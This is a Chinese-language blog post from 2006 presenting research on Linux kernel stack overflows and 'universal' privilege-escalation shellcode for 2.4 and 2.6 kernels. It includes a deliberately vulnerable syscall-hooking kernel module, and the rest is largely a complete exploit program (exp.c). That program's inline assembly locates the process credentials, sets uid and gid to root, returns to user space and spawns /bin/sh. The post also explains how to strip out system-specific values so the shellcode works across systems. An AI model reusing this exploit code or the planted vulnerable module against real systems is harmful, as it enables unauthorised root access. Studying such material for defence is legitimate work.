2006年12月15日星期五

linux内核溢出研究系列(1)--通用shellcode篇

标题: linux内核溢出研究系列(1)--通用shellcode篇

创建: 2006-3-22
修改:2006-3-22
作者:李小军(a1rsupp1y)
---------------------------------------------------------------------------------------------------
目录:
一、简介

二、简单的例子
1)例子代码
2)利用代码

三、shellcode扩展
1)模式
2)通用思路
3)通用实现
四、参考资源
五、附录
六、感谢
--------------------------------------------------------------------------------------------------


一、简介
linux内核溢出凸显严重,利用代码的编写和普通溢出相比,难度大了很多。
几乎每一个经典的内核漏洞都有一个非常经典的利用代码值得大家深入学习。
目前可以借鉴的学习文档基本上都是英文的,于是决定对linux内核溢出利用代
码的编写进行全盘的学习。这份文档就是一个学习的过程,记录下来,希望能
和大家共同进步。

二、简单的例子
首先,研究的目标是2.6的内核版本,然后再扩展到2.4内核。我们先从一个简单
的例子代码出发,进行利用代码的编写。我们的测试平台是缺省内核的redhat as4
(2.6.9)和gentoo(2.6.15).
1)例子代码
我们的例子代码先挂载(hook)了一个系统调用,其功能就是把用户空间的数据拷贝
到内核空间,因为没有进行长度检查,导致了一个内核栈溢出。
因为2.6内核下面,没有引出sys_call_table,我们用了一个查找函数(find_systable)来找到
sys_call_table的地址。
例子代码如下:
#include
#include
#include
#include
#include
#define CALL_NR 35

static const void *lower_bound = &kernel_thread;
int *sys_call_table =0xc04eb6c0;
int (*old_call)(int, int);

static inline int looks_good(void **p)
{
if (*p <= (void*)lower_bound || *p >= (void*)p)
return 0;
return 1;
}
/*
* find sys_call_table
*/
int find_systable(void)
{
void **ptr = (void **)&init_mm;
void **limit;

sys_call_table = NULL;

for (limit = ptr + 16 * 1024;
ptr < limit && sys_call_table == NULL; ptr++)
{
int ok = 1;
int i;

for (i = 0; i < 250; i++)
if (!looks_good(ptr + i)) {
ok = 0;
ptr = ptr + i;
break;
}

if (ok) {
if (ptr[__NR_break] != ptr[__NR_ftime])
continue;
sys_call_table = ptr;
break;
}
}

if (sys_call_table == NULL) {
printk("Failed to find address of sys_call_table\n");
return -EIO;
}

printk("Found sys_call_table at 0x%.8x\n", sys_call_table);
return 0;
}

asmlinkage int test(unsigned int len,char * code) {
char buf[256];
//strcpy(buf,code);
memcpy(buf,code,len);

}
asmlinkage int new_call(unsigned int len, char * buf) {
printk("%p\n",current_thread_info());
printk("off:%d\n",(int)(current)-(int)(¤t->uid));
char * code = kmalloc(len, GFP_KERNEL);

if (code ==NULL) goto out;

if (copy_from_user(code, buf, len))
goto out;

test(len,code);
out:
return 0;
}

int init_module(void)
{
int i=find_systable();
printk("[*] vuln loaded!\n");
old_call = sys_call_table[CALL_NR];
sys_call_table[CALL_NR] = new_call;
return 0;
}
void cleanup_module(void)
{
sys_call_table[CALL_NR] = old_call;
printk("[*] vuln unloaded!\n");
}

2)利用代码
针对上面的栈溢出,利用代码也很简单,就是构造超长的数据,然后调用该系统调用来传递
给内核。
利用代码如下:

/* exp.c
*/
#include
#include
#include
#include
#include
#include
#include
#define __NR_new_call 35
static inline _syscall2(int, new_call, unsigned int ,len,char * ,code);
#define NOP 'A'
//===================[ kernel 2.6* privilege elevator ]=================
//globals
int uid, gid;

extern load_highlevel;
__asm__
(
"load_highlevel: \n"
"xor %eax, %eax \n"
"mov $0xffffe000, %eax\n"
"and %esp,%eax \n"
"pushl %eax \n"
"call set_root \n"
"pop %eax \n"
//ret to userspace-2.6.* version
" cli \n"
" pushl $0x7b \n" //DS user selector
" pop %ds \n"
" pushl %ds \n" //SS
" pushl $0xc0000000 \n" //ESP
" pushl $0x246 \n" //EFLAGS
" pushl $0x73 \n" //CS user selector
" pushl $sc \n" //EIP must not be a push /bin/sh shellcode!!
"iret \n"
);

void set_root(unsigned int *ts)
{
if((unsigned int*)*ts!=NULL)
ts = (int*)*ts;
int cntr;
//hope you guys are int aligned
for(cntr = 0; cntr <= 512; cntr++, ts++)
if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)
{ ts[0] = ts[1] = ts[4] = ts[5] = 0;
// __asm__("int3");
}

}



char *p[]={"/bin/sh"};
void sc(){
// __asm__("int3");
execve("/bin/sh",p,NULL);
exit(0);
}
//==============================================================
//==============================================================






int main(int argc,char **argv)
{
char code[1024];
unsigned int len;
int i;
uid=getuid();
gid=getgid();
memset(code,NOP,1024);
for(i=0;i<5;i++)
memcpy(code,&load_highlevel,128);

len = 256+8+4+4;
sleep(1);
printf("code addr is:%p\n",&load_highlevel);
*(int *)(code+256+8) = (int)&load_highlevel;//eip

new_call(len,code);

}

内核栈溢出和普通栈溢出的原理是一样的,就是覆盖内核函数的返回地址,从而改
变运行的流程,在内核栈溢出里面,关键就是shellcode的功能,如何实现提升用户
权限以及如何安全返回到用户空间。所以,我们把shellcode部分提取出来进行分析。
__asm__
(
"load_highlevel: \n"
"mov $0xffffe000, %eax\n"
"and %esp,%eax \n"
"pushl %eax \n"
"call set_root \n"
"pop %eax \n"
//ret to userspace-2.6.* version
" cli \n"
" pushl $0x7b \n" //DS user selector
" pop %ds \n"
" pushl %ds \n" //SS
" pushl $0xc0000000 \n" //ESP
" pushl $0x246 \n" //EFLAGS
" pushl $0x73 \n" //CS user selector
" pushl $sc \n" //EIP must not be a push /bin/sh shellcode!!
"iret \n"
);
上面的shellcode首先进行的是权限的提升,把进程信息里面的uid,euid和gid,egid修改为
root权限。2.6内核下面,进程信息的指针是在内核栈-8192的位置的(2.4内核下是整个
进程信息放置在该位置),所以通过"mov $0xffffe000, %eax\n" "and %esp,%eax \n"
就能找到进程信息指针的值,从内核代码我们也能看出来:
028 struct thread_info {
029 struct task_struct *task; /* main task structure */《--我们要获得的值
030 struct exec_domain *exec_domain; /* execution domain */
031 unsigned long flags; /* low level flags */
032 unsigned long status; /* thread-synchronous flags */
033 __u32 cpu; /* current CPU */
034 int preempt_count; /* 0 => preemptable, <0> BUG */
035
036
037 mm_segment_t addr_limit; /* thread address space:
038 0-0xBFFFFFFF for user-thead
039 0-0xFFFFFFFF for kernel-thread
040 */
041 struct restart_block restart_block;
042
043 unsigned long previous_esp; /* ESP of the previous stack in case
044 of nested (IRQ) stacks
045 */
046 __u8 supervisor_stack[0];
047 };
获得进程信息的指针以后,就可以通过搜索里面的uid,euid,gid,egid,并修改为0,从而提升
到root权限。set_root实现的就是搜索修改功能。完成权限提升以后,就要实现安全返回到用户
空间,并获得shell。下面的汇编代码实现此功能:
" cli \n"
" pushl $0x7b \n" //DS user selector
" pop %ds \n"
" pushl %ds \n" //SS
" pushl $0xc0000000 \n" //ESP
" pushl $0x246 \n" //EFLAGS
" pushl $0x73 \n" //CS user selector
" pushl $sc \n" //EIP ,shell函数的地址
"iret \n"

三、shellcode扩展
从前面的shellcode分析我们可以知道此shellcode有多个值是不定值,和系统是相关的,第一个
是内核栈的大小,不同的系统下面,内核栈的大小不一定相同,就会影响到$0xffffe000这个值,
一般系统内核栈大小是8k,就使用$0xffffe000,有些系统下面,内核栈大小是4kb,就是要使用0xfffff000。
第二个不定值是用户DS和用户CS的值,不同的内核版本下面,使用的值不相同。第三个不定值是用户
空间大小,不同的系统下面,内存大小会影响到该值,一般的系统是0xc0000000,但是在高内存(>896MB)
的系统下面,此值就变了。

1)模式
为了写出通用的shellcode,我们首先要确定我们的shellcode模式。
我们的模式:权限提升-》安全返回-》执行shell 在此模式里面,我们要消除不定值,从而实现通用。

2)通用思路
模式确定后,我们的目标就明确了,消除所有的不定值。
a)消除内核栈大小差异
为了消除内核栈的差异,我们要想办法在内核空间里面搜索到这个值。经过一番研究后,我们把目标
确定在了system_call的实现里面,首先,我们来看看system_call的汇编代码:
0xc0102e58 : push %eax
0xc0102e59 : cld
0xc0102e5a : push %es
0xc0102e5b : push %ds
0xc0102e5c : push %eax
0xc0102e5d : push %ebp
0xc0102e5e : push %edi
0xc0102e5f : push %esi
0xc0102e60 : push %edx
0xc0102e61 : push %ecx
0xc0102e62 : push %ebx
0xc0102e63 : mov $0x7b,%edx
0xc0102e68 : movl %edx,%ds
0xc0102e6a : movl %edx,%es
0xc0102e6c : mov $0xffffe000,%ebp 《--我们的目标
0xc0102e71 : and %esp,%ebp
0xc0102e73 : testw $0x1c1,0x8(%ebp)
0xc0102e79 : jne 0xc0102f40
0xc0102e7f : cmp $0x126,%eax
0xc0102e84 : jae 0xc0102fb4
我们不难发现,system_call的实现里面有我们要的值0xffffe000,而且他的模式非常固定,前面是一个mov xx,%edx,
接下两个movl 是固定的。
0xc0102e63 : mov $0x7b,%edx
0xc0102e68 : movl %edx,%ds
0xc0102e6a : movl %edx,%es
0xc0102e6c : mov $0xffffe000,%ebp
这样,我们就能通过搜索内核空间来确定第一个值了。
搜索代码如下:
"movl $task_size,%eax \n" //task_size=kernel space start
"mov (%eax),%eax \n"
//find correct stack bottom in kernel space
"l00p: \n"
"add $0x1,%eax \n"
"mov (%eax),%ebx \n"
"and $0xffff00ff,%ebx\n"
"cmp $0x000000ba,%ebx \n"
"jne l00p\n"
"add $0x4,%eax\n"
"movl (%eax),%edx\n"
"cmpl $0x8eda8e00,%edx\n"
"jne l00p\n"
"add $0x6,%eax\n"
"mov (%eax),%ebx\n"
"test $0xffff0000,%ebx\n"
"jz l00p\n"
"test $0x00000fff,%ebx\n"
"jnz l00p\n"
"mov (%eax), %eax\n" //stack bottom 0xffffe000 etc.
"and %esp,%eax \n"
我们可以发现,在此段搜索代码里面,我们又引人了一个新的不定值,$task_size,这个值我们也能通过计算获得
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
这样,我们就消除了第一个差异
b)消除用户DS,CS差异
接着,我们要消除用户DS和CS的差异,我们通过在用户空间直接获取ds和cs的值
int myget_ds()
{

__asm__("movl %ds,%eax\n");
}
user_ds=myget_ds();

然后
" movl $user_ds,%eax \n" //DS user selector
"pushl (%eax)\n"
这样就动态的获取了用户DS的值
c)消除用户空间差异
不断向栈底方向取值,越过栈底的地址访问会导致SIGSEGV 信号,然后利用长跳转回到主流程报告当前值,
自然对应栈底。
3)通用实现
现在,我们已经消除了全部的不定值,完全可以实现一个通用的shellcode了。下面这段shellcode在2.4和2.6内核
下测试通过,完全通用。
//===================[ kernel 2.6* privilege elevator ]===============================
//globals
int uid, gid;
unsigned task_size;
unsigned stack_bottom;
unsigned user_cs,user_ds;
extern load_highlevel;
__asm__
(
"load_highlevel: \n"
"movl $task_size,%eax \n" //task_size=kernel space start
"mov (%eax),%eax \n"
//find correct stack bottom in kernel space
"l00p: \n"
"add $0x1,%eax \n"
"mov (%eax),%ebx \n"
"and $0xffff00ff,%ebx\n"
"cmp $0x000000ba,%ebx \n"
"jne l00p\n"
"add $0x4,%eax\n"
"movl (%eax),%edx\n"
"cmpl $0x8eda8e00,%edx\n"
"jne l00p\n"
"add $0x6,%eax\n"
"mov (%eax),%ebx\n"
"test $0xffff0000,%ebx\n"
"jz l00p\n"
"test $0x00000fff,%ebx\n"
"jnz l00p\n"
"mov (%eax), %eax\n" //stack bottom 0xffffe000 etc.
"and %esp,%eax \n"
"pushl %eax \n"
"call set_root \n"
"pop %eax \n"
//ret to userspace-2.6.* version

" cli \n"
" movl $user_ds,%eax \n" //DS user selector
"pushl (%eax)\n"
" pop %ds \n"
" pushl %ds \n" //SS
" movl $stack_bottom,%eax \n" //ESP
"pushl (%eax) \n"
" pushl $0x246 \n" //EFLAGS
"movl $user_cs,%eax \n" //DS user selector
"pushl (%eax)\n"
" pushl $sc \n" //EIP must not be a push /bin/sh shellcode!!
"iret \n"
);
//========================================================================

四、参考资源
1)http://www.milw0rm.com/exploits/926
2)http://fanqiang.chinaunix.net/program/c++/2002-10-18/2372.shtml
3)http://www.isec.pl/papers/linux_kernel_do_brk.pdf
4)http://www.xfocus.net/projects/Xcon/2002/Xcon2002_alert7_e4gle.pdf

五、附录
1)exp.c
完整的exp代码
/* exp.c
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB

#define __NR_new_call 35
static inline _syscall2(int, new_call, unsigned int ,len,char * ,code);
static char * get_stack_bottom ( void );
#define NOP 'A'

//===================[ kernel 2.6* privilege elevator ]===============================
//globals
int uid, gid;
unsigned task_size;
unsigned stack_bottom;
unsigned user_cs,user_ds;
extern load_highlevel;
__asm__
(
"load_highlevel: \n"
"movl $task_size,%eax \n" //task_size=kernel space start
"mov (%eax),%eax \n"
//find correct stack bottom in kernel space
"l00p: \n"
"add $0x1,%eax \n"
"mov (%eax),%ebx \n"
"and $0xffff00ff,%ebx\n"
"cmp $0x000000ba,%ebx \n"
"jne l00p\n"
"add $0x4,%eax\n"
"movl (%eax),%edx\n"
"cmpl $0x8eda8e00,%edx\n"
"jne l00p\n"
"add $0x6,%eax\n"
"mov (%eax),%ebx\n"
"test $0xffff0000,%ebx\n"
"jz l00p\n"
"test $0x00000fff,%ebx\n"
"jnz l00p\n"
"mov (%eax), %eax\n" //stack bottom 0xffffe000 etc.
"and %esp,%eax \n"
"pushl %eax \n"
"call set_root \n"
"pop %eax \n"
//ret to userspace-2.6.* version

" cli \n"
" movl $user_ds,%eax \n" //DS user selector
"pushl (%eax)\n"
" pop %ds \n"
" pushl %ds \n" //SS
" movl $stack_bottom,%eax \n" //ESP
"pushl (%eax) \n"
" pushl $0x246 \n" //EFLAGS
"movl $user_cs,%eax \n" //DS user selector
"pushl (%eax)\n"
" pushl $sc \n" //EIP must not be a push /bin/sh shellcode!!
"iret \n"
);
//=================================================================================
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
printf("task_size:%p\n",task_size);
stack_bottom=(unsigned)get_stack_bottom();
uid=getuid();
gid=getgid();
user_ds=myget_ds();
user_cs=myget_cs();
//printf("%x%x\n",user_cs,user_ds);

}
void set_root(unsigned int *ts)
{
if((unsigned int*)*ts!=NULL)
ts = (int*)*ts;
int cntr;
//hope you guys are int aligned
for(cntr = 0; cntr <= 512; cntr++, ts++)
if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)
{ ts[0] = ts[1] = ts[4] = ts[5] = 0;
// __asm__("int3");
}

}

char *p[]={"/bin/sh"};
void sc(){
// __asm__("int3");
execve("/bin/sh",p,NULL);
exit(0);
}
//====================================================================================
//====================================================================================

//**************************************************************************************//
//--------------------------------find stack bottom begin-------------------------------------//
//rip from scz's code
typedef void Sigfunc ( int ); /* for signal handlers */

Sigfunc * signal ( int signo, Sigfunc * func );
static Sigfunc * Signal ( int signo, Sigfunc * func );
static char * get_stack_bottom ( void );
static void segfault ( int signo );

static sigjmp_buf jmpbuf;
static volatile sig_atomic_t canjump = 0;
static Sigfunc *seg_handler;
static Sigfunc *bus_handler; /* for xxxBSD */

Sigfunc * signal ( int signo, Sigfunc * func )
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset( &act.sa_mask );
act.sa_flags = 0;
if ( sigaction( signo, &act, &oact ) < 0 )
{
return( SIG_ERR );
}

return( oact.sa_handler );
} /* end of signal */

static Sigfunc * Signal ( int signo, Sigfunc * func ) /* for our signal() funct
ion */
{
Sigfunc * sigfunc;

if ( ( sigfunc = signal( signo, func ) ) == SIG_ERR )
{
exit( EXIT_FAILURE );
}
return( sigfunc );
} /* end of Signal */

static char * get_stack_bottom ( void )
{
volatile char *c; /* for autovar, must be volatile */

seg_handler = Signal( SIGSEGV, segfault );
bus_handler = Signal( SIGBUS, segfault );

c = ( char * )&c;



if ( sigsetjmp( jmpbuf, 1 ) != 0 )

{

Signal( SIGSEGV, seg_handler );
Signal( SIGBUS, bus_handler );
return( ( char * )c );

}

canjump = 1; /* now sigsetjump() is OK */

while ( 1 )
{

*c = *c;
c++;

}

return( NULL );
} /* end of get_stack_bottom */

static void segfault ( int signo )
{
if ( canjump == 0 )
{
return; /* unexpected signal, ignore */
}
canjump = 0;
siglongjmp( jmpbuf, signo ); /* jump back to main, don't return */
} /* end of segfault */

//**************************************************************************************//
//**********************************The end*********************************************//

int myget_cs()
{

__asm__("movl %cs,%eax\n");
}
int myget_ds()
{

__asm__("movl %ds,%eax\n");
}
int main(int argc,char **argv)
{
char code[1024];
unsigned int len;
int i;
//stack_bottom=0x80000000;
configure();
memset(code,NOP,1024);
len = 256+8+4+4;
printf("code addr is:%p\nset_root is:%p\nsc is:%p\n",&load_highlevel,&set_root,&sc);
*(int *)(code+256+8) = (int)&load_highlevel;//eip
*(int *)(code+256+8+4) = (int)&load_highlevel;//eip

new_call(len,code);

}

六、感谢
感谢陈宇(grip2)和梁彬(lb)的讨论和帮助

没有评论: